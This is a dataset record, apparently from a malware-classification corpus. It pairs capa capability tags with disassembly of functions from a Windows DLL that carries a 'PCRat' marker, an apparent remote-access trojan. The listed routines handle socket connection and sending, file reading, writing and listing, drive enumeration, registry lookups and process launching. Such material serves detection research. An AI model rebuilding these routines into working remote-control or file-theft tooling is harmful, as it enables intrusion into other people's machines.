joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003180
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x100168fa
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10002090
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.10002090
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.10002090
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.10002090
lea eax, [esp + 0xc]
mov dword [esi], 0x100184fc
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x50
mov byte [esp + 5], 0x43
mov byte [esp + 6], 0x52
mov byte [esp + 7], 0x61
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov dword [esi + 0xac], eax
mov al, 0x74
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret

Function at 0x10003340
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.100037b0
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10003381
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x1000339c
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov edx, dword [esp + 0x30]
mov word [esp + 0x18], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x1c]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100033e1
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0xb]
push 1
push edx
push 8
push 0xffff
push eax
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1000343f
push eax
lea ecx, [esp + 0xf]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x20]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10003470
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000ff20
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x100039b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x10003a1a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100039f9
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x100039d6
cmp dword [esp + 0x1c], 0xf
je 0x10003a50
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x100039ce
test ebx, ebx
jle 0x10003a44
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10003a3b
inc esi
cmp esi, 0xf
jl 0x10003a20
cmp esi, 0xf
je 0x10003a50
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10003a53
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10003d30
Capabilities:
Get file size

Disassembly:
sub esp, 0xc
xor eax, eax
push ebx
mov ebx, ecx
push ebp
push esi
lea edx, [ebx + 0x20]
push edi
mov ebp, dword [esp + 0x20]
mov ecx, 0x41
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push closesocket
push ebp
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003d94
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret 4
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
xor edx, edx
mov dword [esp + 0x10], edx
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], edx
push 0xa
push ecx
mov word [esp + 0x20], dx
mov ecx, ebx
mov byte [esp + 0x18], 0x6a
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], edi
call fcn.10008e30
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x10003df0
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebp
push edi
push 0
mov ebp, ecx
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003e20
pop edi
or eax, eax
pop ebp
pop ecx
ret 4
push ebx
mov ebx, dword [esp + 0x14]
push esi
push 0
mov ecx, dword [ebx + 4]
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x10]
push 0
push ecx
mov byte [esi], 0x6b
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10003e9e
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.10008e30
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov eax, edi
pop ebx
pop edi
pop ebp
pop ecx
ret 4
mov edi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov eax, edi
pop ebx
pop edi
pop ebp
pop ecx
ret 4
Function at 0x10004000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018518
push 0x10016628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10004160
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100040ac
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100040ac
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004087
cmp al, 0x5c
je 0x10004087
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000406f
cmp byte [esi], 0
je 0x10004090
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040a5
cmp al, 0x5c
je 0x100040a5
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000408d
cmp byte [esi], 0
je 0x100040cb
jmp 0x100040c7
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100040cb
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040cb
cmp al, 0x5c
jne 0x100040cb
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10004121
cmp al, 0x5c
jne 0x10004113
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10004106
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10004110
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10004110
push edi
jmp 0x10004157
and eax, 0x10
cmp al, 0x10
je 0x10004110
push edi
jmp 0x10004157
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100040d1
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004180
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
mov ebp, dword [ebx + 4]
push edi
mov edi, ecx
push 1
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x71
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10008e30
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10004430
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x100169f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x10], esi
call fcn.10008db0
mov cl, byte [esp + 0x20]
push 0x18
mov dword [esp + 0x1c], 0
mov byte [esi + 0x60], cl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [eax], eax
mov dword [eax + 4], eax
add esp, 4
mov dword [esi + 0x64], eax
mov dword [esi + 0x68], 0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov byte [esp + 0x20], 1
mov dword [esi], 0x10018524
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.SetServiceStatus
push str.ADVAPI32.dll
mov dword [esi + 0x18], eax
call edi
push eax
call ebx
push str.OpenEventLogA
push str.ADVAPI32.dll
mov dword [esi + 0x1c], eax
call edi
push eax
call ebx
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov dword [esi + 0x20], eax
call edi
push eax
call ebx
push str.RegSetValueExA
push str.ADVAPI32.dll
mov dword [esi + 0x24], eax
call edi
push eax
call ebx
push str.RegCloseKey
push str.ADVAPI32.dll
mov dword [esi + 0x28], eax
call edi
push eax
call ebx
mov dword [esi + 0x44], eax
mov ecx, esi
mov dword [esi + 0x6c], 0
call fcn.10004b50
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x100047a0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018530
push 0x10016628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100048fd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x1000484c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x1000484c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004827
cmp al, 0x5c
je 0x10004827
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000480f
cmp byte [esi], 0
je 0x10004830
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004845
cmp al, 0x5c
je 0x10004845
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000482d
cmp byte [esi], 0
je 0x1000486b
jmp 0x10004867
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x1000486b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000486b
cmp al, 0x5c
jne 0x1000486b
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x100048c1
cmp al, 0x5c
jne 0x100048b3
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x100048a6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100048b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x100048b0
push edi
jmp 0x100048f4
and eax, 0x10
cmp al, 0x10
je 0x100048b0
push edi
jmp 0x100048f4
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10004871
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004920
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x354
cmp eax, 1
push ebx
push ebp
push esi
push edi
mov ebp, ecx
je 0x10004b00
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10004974
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebx
test eax, eax
je 0x100049a1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call dword [ebp + 0x44]
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebx
test eax, eax
je 0x10004a1b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [ebp + 0x44]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1001c36c
push edx
call esi
add esp, 8
test eax, eax
jne 0x10004a99
lea eax, [esp + 0x6c]
push 0x1001c368
push eax
call esi
add esp, 8
test eax, eax
jne 0x10004a99
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1001c364
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10004aa8
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x44
test eax, eax
je 0x10004ad2
mov dword [esp + 0x20], str.WinSta0Default
jmp 0x10004ae1
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 0
lea edx, [esp + 0x5c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x8c]
jmp 0x10004b3a
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
mov ecx, dword [esp + 0x368]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x3c], str.WinSta0Default
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x10004b50
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x68
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x10004ced
push esi
push edi
jmp 0x10004baa
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x10004c5c
cmp al, 0x42
je 0x10004c5c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10004c5c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10016630
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.10016630
mov dword [esp + 0x10], eax
jmp 0x10004c62
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10004ba8
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.10008e30
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x10004d10
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x6c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x10004d93
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x69
call fcn.10008e30
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x69
mov ebx, 1
jmp 0x10004da3
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x10004dc3
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x1001c38c
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10004df4
test al, al
je 0x10004df0
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10004df4
add esi, 2
add edi, 2
test al, al
jne 0x10004dcc
xor eax, eax
jmp 0x10004df9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004e93
mov edi, 0x1001c388
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10004e32
test al, al
je 0x10004e2e
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10004e32
add esi, 2
add edi, 2
test al, al
jne 0x10004e0a
xor eax, eax
jmp 0x10004e37
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004e93
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004d9f
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.10008e30
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4